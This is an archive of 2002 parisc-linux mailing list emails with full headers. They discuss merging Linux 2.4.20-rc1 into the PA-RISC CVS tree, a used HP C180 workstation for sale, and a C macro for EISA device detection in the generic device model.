Subject: Re: [parisc-linux] Recent CVS changes?
Date: Wed, 13 Nov 2002 14:28:26 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20021113132826.GG21811@charite.de>
References: <20021113131910.GE21811@charite.de> <20021113132454.F30392@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621920 16865 80.91.229.3 (22 Nov 2014 02:05:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 06:28:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E8AA4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 06:28:32 -0700 (MST)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 5F2FD15C033
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 14:28:27 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 57DE2633AD; Wed, 13 Nov 2002 14:28:27 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20021113132454.F30392@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16775

Am 13.11.2002 um 13:24:54 +0000 schrieb Matthew Wilcox folgendes:
> On Wed, Nov 13, 2002 at 02:19:10PM +0100, Ralf Hildebrandt wrote:
> > Today I "cvs co"'ed the PARISC kernel and found lots of changes. Is
> > that a major version change (2.5.?)
> 
> probably has something to do with the 2.4.20-rc1 i imported last night.
> merge in progress, going smoothly.

OK, that's probably it, then.
Are the ext3 changes in already? They work quite well.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V a)   Ralf.Hildebrandt@charite.de
Charite Campus Mitte                            Tel.  +49 (0)30-450 570-155
Referat V a - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
Out at Starbuck's for the X time today getting a grande cafe mocha with an espresso chaser. 



From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent CVS changes?
Date: Wed, 13 Nov 2002 14:36:20 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <3DA3C9AF000033A9@ocpmta2.be.tiscali.com>
References: <20021113132454.F30392@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621920 16867 80.91.229.3 (22 Nov 2014 02:05:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>,
	"Ralf Hildebrandt" <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 06:36:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E4814829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 06:36:30 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Bxgt-0001we-00; Wed, 13 Nov 2002 14:36:23 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 13 Nov 2002 14:36:20 +0100
In-Reply-To: <20021113132454.F30392@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16776

Hi Willy,

>probably has something to do with the 2.4.20-rc1 i imported last night.
>merge in progress, going smoothly.
>

I already do this exercise and seems to obtain a workable kernel.
I s my patch versus 2.4.19-pa24 would help you (at least to have to avoid
to check already merged (AC) files)?

Up to you

Joel

-------------------------------------------------------------
Tiscali Complete, l'accs Internet moins cher que gratuit ! Plus d'info:
http://complete.tiscali.be




From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent CVS changes?
Date: Wed, 13 Nov 2002 13:37:37 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20021113133737.G30392@parcelfarce.linux.theplanet.co.uk>
References: <20021113132454.F30392@parcelfarce.linux.theplanet.co.uk> <3DA3C9AF000033A9@ocpmta2.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621921 16873 80.91.229.3 (22 Nov 2014 02:05:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:21 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 06:37:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FB384829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 06:37:42 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18Bxi5-0004ds-00; Wed, 13 Nov 2002 13:37:37 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3DA3C9AF000033A9@ocpmta2.be.tiscali.com>; from jsoe0708@tiscali.be on Wed, Nov 13, 2002 at 02:36:20PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16777

On Wed, Nov 13, 2002 at 02:36:20PM +0100, jsoe0708@tiscali.be wrote:
> I already do this exercise and seems to obtain a workable kernel.
> I s my patch versus 2.4.19-pa24 would help you (at least to have to avoid
> to check already merged (AC) files)?

no, it's not useful due to the way CVS works

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent CVS changes?
Date: Wed, 13 Nov 2002 14:51:45 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20021113145145.H30392@parcelfarce.linux.theplanet.co.uk>
References: <20021113132454.F30392@parcelfarce.linux.theplanet.co.uk> <3DA3C9AF000033A9@ocpmta2.be.tiscali.com> <20021113133737.G30392@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621921 16876 80.91.229.3 (22 Nov 2014 02:05:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:21 +0000 (UTC)
Cc: jsoe0708@tiscali.be,
	Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 07:51:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48F0A4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 07:51:50 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18Byrq-0005Kt-00; Wed, 13 Nov 2002 14:51:46 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021113133737.G30392@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Nov 13, 2002 at 01:37:37PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16778

On Wed, Nov 13, 2002 at 01:37:37PM +0000, Matthew Wilcox wrote:
> On Wed, Nov 13, 2002 at 02:36:20PM +0100, jsoe0708@tiscali.be wrote:
> > I already do this exercise and seems to obtain a workable kernel.
> > I s my patch versus 2.4.19-pa24 would help you (at least to have to avoid
> > to check already merged (AC) files)?
> 
> no, it's not useful due to the way CVS works

... though, thinking about it, it'll be useful if you compare your tree
with the one that gets committed to CVS later today.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent CVS changes?
Date: Wed, 13 Nov 2002 16:01:32 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <3DA3C9AF000033F9@ocpmta2.be.tiscali.com>
References: <20021113145145.H30392@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621921 16880 80.91.229.3 (22 Nov 2014 02:05:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:21 +0000 (UTC)
Cc: "Ralf Hildebrandt" <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 08:01:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id D27824829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 08:01:44 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Bz1K-00007P-00; Wed, 13 Nov 2002 16:01:34 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 13 Nov 2002 16:01:32 +0100
In-Reply-To: <20021113145145.H30392@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16779

Ok (just let me some more minutes)

>... though, thinking about it, it'll be useful if you compare your tree
>with the one that gets committed to CVS later today.
>
>-- 
Joel

-------------------------------------------------------------
Tiscali Complete, l'accs Internet moins cher que gratuit ! Plus d'info:
http://complete.tiscali.be




From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OT:  C180 has to go...
Date: Wed, 13 Nov 2002 07:07:19 -0800 (PST)
Lines: 30
Approved: news@gmane.org
Message-ID: <20021113150719.56068.qmail@web12506.mail.yahoo.com>
References: <3d.277be522.2b02f338@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621921 16885 80.91.229.3 (22 Nov 2014 02:05:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 08:07:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12506.mail.yahoo.com (web12506.mail.yahoo.com [216.136.173.198])
	by dsl2.external.hp.com (Postfix) with SMTP id A4CF94829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 08:07:24 -0700 (MST)
Original-Received: from [12.24.252.219] by web12506.mail.yahoo.com via HTTP; Wed, 13 Nov 2002 07:07:19 PST
In-Reply-To: <3d.277be522.2b02f338@aol.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16780

Hey all,

Sorry if this is the wrong place for this, please let me know.  My C360
is on it's way and the C180 has to go.  No room for both.  If anyone is
interested in it let me know *off the list* or it's going off to Ebay. 
This machine was originally bought off Ebay and the case was damaged. 
It has been replaced so the product number off the tag in the back says
it's a C200, but it is indeed a C180.  I'm not looking for much in the
way of asking price because shipping can tend to be high on this heavy
a box (about 60 lbs. packaged).  It has been running Debian for awile
now with no issues.  PDC firmware is at the latest.

Memory: 384MB
Drives: (2) internal ST34371WD Seagate 4.3GB with HP firmware
CDROM: None
Graphics Card:  None (but has built in EG card that needs the EVC
                adapter - not included)
Terminators:  Will include both an SE and F/W terminator
No keyboard or mouse (need them for the new one)


Anyway thanks for your time.

derek

__________________________________________________
Do you Yahoo!?
U2 on LAUNCH - Exclusive greatest hits videos
http://launch.yahoo.com/u2


From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.20-rc1
Date: Wed, 13 Nov 2002 15:32:17 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20021113153217.J30392@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621922 16888 80.91.229.3 (22 Nov 2014 02:05:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:22 +0000 (UTC)
Cc: grundler@parisc-linux.org, Randolph Chung <randolph@tausq.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 08:32:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 91FF34829; Wed, 13 Nov 2002 08:32:24 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18BzV3-0005u7-00; Wed, 13 Nov 2002 15:32:17 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16781

ok, HEAD is now based on 2.4.20-rc1.  There's three things I wasn't 100%
sure of during the merge:

(1) drivers/pci/setup-bus.c.  It looks like most of, but not all, the
changes in our tree were merged into 2.5.20-rc1.  I've basically taken
the version we had in 2.4.19 but other changes may be needed.  Grant,
can you look at this?

(2) arch/parisc/kernel/syscall.S.  2.4.20-rc1 removed our XFS syscalls..
tausq, can you look at this?

(3) include/asm-parisc/ide.h.  2.4.20-rc1 removed some definitions from
this file that weren't removed from asm-i386, so i put them back.  Alan,
I presume this was your doing?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.4.20-rc1
Date: 13 Nov 2002 16:06:04 +0000
Lines: 8
Approved: news@gmane.org
Message-ID: <1037203564.11996.80.camel@irongate.swansea.linux.org.uk>
References: <20021113153217.J30392@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621922 16892 80.91.229.3 (22 Nov 2014 02:05:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:22 +0000 (UTC)
Cc: HPPA List <parisc-linux@parisc-linux.org>,
	grundler@parisc-linux.org, Randolph Chung <randolph@tausq.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 08:40:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust42.swa.cable.ntl.com [80.5.120.42])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 88C024829; Wed, 13 Nov 2002 08:40:45 -0700 (MST)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id gADG67bc012775;
	Wed, 13 Nov 2002 16:06:08 GMT
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id gADG65Uc012773;
	Wed, 13 Nov 2002 16:06:05 GMT
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20021113153217.J30392@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16782

On Wed, 2002-11-13 at 15:32, Matthew Wilcox wrote:
> (3) include/asm-parisc/ide.h.  2.4.20-rc1 removed some definitions from
> this file that weren't removed from asm-i386, so i put them back.  Alan,
> I presume this was your doing?

Not me AFAIK. The IDE in -ac is seperate so doesnt get merged



From - Thu Nov 08 21:25:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Zyngier <mzyngier@freesurf.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: 13 Nov 2002 13:36:14 +0100
Organization: Metropolis -- Nowhere
Lines: 24
Approved: news@gmane.org
Message-ID: <wrpvg31pry9.fsf__12254.0547432893$1416621923$gmane$org@hina.wild-wind.fr.eu.org>
References: <20021109060342.GA7798@kroah.com>
	<200211091533.gA9FXuW02017@localhost.localdomain>
	<20021113061310.GD2106@kroah.com>
	<buon0odsyh9.fsf@mcspd15.ucom.lsi.nec.co.jp>
	<20021113075223.GZ2106@kroah.com>
	<20021113145902.A1245@jurassic.park.msu.ru>
Reply-To: mzyngier@freesurf.fr
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621923 16894 80.91.229.3 (22 Nov 2014 02:05:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:23 +0000 (UTC)
Cc: Greg KH <greg@kroah.com>, Miles Bader <miles@gnu.org>,
	"J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 05:40:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crisis.wild-wind.fr.eu.org (lopsy-lu.misterjones.org [62.4.18.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 437D14829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 05:40:32 -0700 (MST)
Original-Received: from hina.wild-wind.fr.eu.org ([192.168.70.139])
	by crisis.wild-wind.fr.eu.org with esmtp (Exim 3.35 #1 (Debian))
	id 18Bwn5-0007D7-00; Wed, 13 Nov 2002 13:38:43 +0100
Original-Received: from maz by hina.wild-wind.fr.eu.org with local (Exim 3.35 #1 (Debian))
	id 18Bwkg-0007pZ-00; Wed, 13 Nov 2002 13:36:14 +0100
X-Attribution: maz
X-Baby-1: =?iso-8859-1?q?Lo=EBn?= 12 juin 1996 13:10
X-Baby-2: None
X-Love-1: Gone
X-Love-2: Crazy-Cat
In-Reply-To: <20021113145902.A1245@jurassic.park.msu.ru>
Original-Lines: 23
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16783

>>>>> "Ivan" == Ivan Kokshaysky <ink@jurassic.park.msu.ru> writes:

Ivan> It seems that two things are fundamentally missing in generic
Ivan> device model:
Ivan> 1. clean way to detect the type of container structure from arbitrary
Ivan>    struct device *;

Indeed.

I'm using the following stuff in some EISA drivers :

#ifdef CONFIG_EISA
#define DEVICE_EISA(dev) (((dev)->bus == &eisa_bus_type) ? to_eisa_device((dev)) : NULL)
#else
#define DEVICE_EISA(dev) NULL
#endif

and frankly, it's really awful. On drivers which are both EISA and
PCI (3c59x, aic7xxx), this is a major pain.

        M.
-- 
